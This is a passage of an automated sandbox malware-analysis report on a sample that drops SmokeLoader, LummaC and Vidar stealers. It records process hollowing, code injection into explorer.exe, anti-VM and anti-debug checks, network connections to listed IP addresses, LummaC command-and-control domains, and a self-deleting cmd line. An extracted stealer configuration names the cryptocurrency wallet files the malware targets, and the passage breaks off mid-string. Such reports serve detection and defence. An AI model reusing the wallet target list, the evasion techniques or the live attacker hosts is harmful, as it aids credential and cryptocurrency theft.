Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\ProgramData\FIEGCBKEGCFC\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\ProgramData\FIEGCBKEGCFC\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqls[1].dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 7544 Thread sleep count: 469 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7552 Thread sleep count: 1349 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7552 Thread sleep time: -134900s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7548 Thread sleep count: 750 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7548 Thread sleep time: -75000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7896 Thread sleep count: 283 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7904 Thread sleep count: 379 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7904 Thread sleep time: -37900s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7900 Thread sleep count: 362 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7900 Thread sleep time: -36200s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7552 Thread sleep count: 3499 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7552 Thread sleep time: -349900s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe TID: 7968 Thread sleep time: -210000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe TID: 7964 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 7816 Thread sleep count: 71 > 30
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB0EBF0 PR_GetNumberOfProcessors,GetSystemInfo, 11_2_6CB0EBF0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: explorer.exe, 00000001.00000000.1723893562.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1723237920.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1721748248.00000000078A0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1723893562.00000000098A8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1720143195.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1721748248.00000000079FB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A51000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1723893562.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1723237920.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000001.00000000.1723237920.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2031885108.000000000064B000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000002.2346667476.0000000000609000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000975000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.0000000000969000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: katB4C0.tmp, 0000000B.00000003.2658098297.0000000000969000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWf
Source: katB4C0.tmp, 0000000B.00000002.2791065578.00000000007D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: explorer.exe, 00000001.00000000.1723893562.0000000009977000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: 38F9.exe, 00000006.00000003.2031885108.000000000064B000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: explorer.exe, 00000001.00000000.1721748248.0000000007A34000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBnx
Source: katB4C0.tmp, 0000000B.00000002.2791065578.00000000007D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwarebli
Source: explorer.exe, 00000001.00000000.1723237920.0000000009660000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1720143195.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1720143195.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\Desktop\2.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\2.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\Desktop\2.exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh System information queried: CodeIntegrityInformation
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\2.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005E328F rdtsc 6_2_005E328F
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00402A9F LdrLoadDll, 0_2_00402A9F
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBDAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_6CBDAC62
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02DE0D90 mov eax, dword ptr fs:[00000030h] 0_2_02DE0D90
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02DE092B mov eax, dword ptr fs:[00000030h] 0_2_02DE092B
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E3197D push dword ptr fs:[00000030h] 0_2_02E3197D
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02D90D90 mov eax, dword ptr fs:[00000030h] 5_2_02D90D90
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02D9092B mov eax, dword ptr fs:[00000030h] 5_2_02D9092B
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E51415 push dword ptr fs:[00000030h] 5_2_02E51415
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0056092B mov eax, dword ptr fs:[00000030h] 6_2_0056092B
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00560D90 mov eax, dword ptr fs:[00000030h] 6_2_00560D90
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005DE013 push dword ptr fs:[00000030h] 6_2_005DE013
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBDAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_6CBDAC62

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: D818.exe.1.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 91.202.233.231 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.145.40.124 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 185.18.245.58 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 31.176.197.47 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 45.129.96.86 80 Jump to behavior
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: D818.exe PID: 7224, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory allocated: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 400000 protect: page execute and read and write Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_0437A4F0 NtAllocateVirtualMemory,GetTempFileNameA,CreateFileA,WriteFile,CreateProcessA,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64GetThreadContext,Wow64SetThreadContext,ResumeThread,ExitProcess, 10_2_0437A4F0
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\2.exe Thread created: C:\Windows\explorer.exe EIP: 7DB19E0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Thread created: unknown EIP: 87F19E0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Thread created: unknown EIP: 30619E0
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory written: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 400000 value starts with: 4D5A Jump to behavior
LummaC encrypted strings found
Source: 38F9.exe String found in binary or memory: zippyfinickysofwps.shop
Source: 38F9.exe String found in binary or memory: obsceneclassyjuwks.shop
Source: 38F9.exe String found in binary or memory: acceptabledcooeprs.shop
Source: 38F9.exe String found in binary or memory: whispedwoodmoodsksl.shop
Source: 38F9.exe String found in binary or memory: boredimperissvieos.shop
Source: 38F9.exe String found in binary or memory: holicisticscrarws.shop
Source: 38F9.exe String found in binary or memory: sweetsquarediaslw.shop
Source: 38F9.exe String found in binary or memory: plaintediousidowsko.shop
Source: 38F9.exe String found in binary or memory: miniaturefinerninewjs.shop
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\2.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\2.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\D818.exe Section unmapped: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base address: 400000 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory written: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory written: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 401000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory written: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 422000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory written: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 42E000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Memory written: C:\Users\user\AppData\Local\Temp\katB4C0.tmp base: 641000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\D818.exe Process created: C:\Users\user\AppData\Local\Temp\katB4C0.tmp C:\Users\user\AppData\Local\Temp\katB4C0.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\katB4C0.tmp" & rd /s /q "C:\ProgramData\FIEGCBKEGCFC" & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CC24760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free, 11_2_6CC24760
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB01C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint, 11_2_6CB01C30
Source: explorer.exe, 00000001.00000000.1720375410.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1721600320.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1723237920.0000000009815000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1720375410.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1720143195.0000000001240000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1720375410.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1720375410.00000000018A0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: }Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBDAE71 cpuid 11_2_6CBDAE71
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBDA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 11_2_6CBDA8DC
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB28390 NSS_GetVersion, 11_2_6CB28390
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: 38F9.exe, 00000006.00000003.2154027414.0000000002C75000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2153754688.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000002.2346667476.0000000000609000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.0000000000953000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000949000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\38F9.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected CryptOne packer
Source: Yara match File source: 0000000A.00000002.2305592154.0000000004379000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 38F9.exe PID: 7932, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 00000005.00000002.1969820013.00000000048F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1740978999.00000000049F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.3994237528.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1740710634.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.3994385384.0000000002E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1969780302.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 10.2.D818.exe.4570000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.2560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.4347719.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.2560000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.4347719.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.4570000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2306037473.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2305075541.0000000002560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: D818.exe PID: 7224, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: katB4C0.tmp PID: 4480, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: nnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/JAXX New Version
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: exodus.conf.json
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: nnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda 